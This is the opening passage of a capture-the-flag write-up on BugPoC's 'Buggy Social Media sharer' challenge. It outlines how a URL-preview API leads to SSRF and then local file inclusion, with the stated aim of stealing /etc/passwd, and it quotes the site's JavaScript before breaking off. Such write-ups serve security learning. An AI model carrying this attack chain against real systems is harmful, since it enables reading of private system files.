BugPoC's LFI challenge writeup
This is a write-up for an LFI Challenge by `BugPoC`, Buggy Social Media sharer (social.buggywebsite.com) that popped out on Twitter recently ( link ) This is a website for writing a text (post), for which website generates several links to post it in different social media platforms. As common it supports the URL card generating using API server. Which then leads to SSRF, then to LFI. Buggy Social Media sharer Given a website : http://social.buggywebsite.com/ The Goal of the challenge is to achieve LFI and steal /etc/passwd It's a striaght forwarding challenge, by going through the Js, we can see URL card generating functionality function processUrl(e) { requestTime = Date.now(), url = "https://api.buggywebsite.com/website-preview"; var t = new XMLHttpRequest; t.onreadystatechange = function() { 4 == t.readyState && 200 == t.status ? (response = JSON.parse(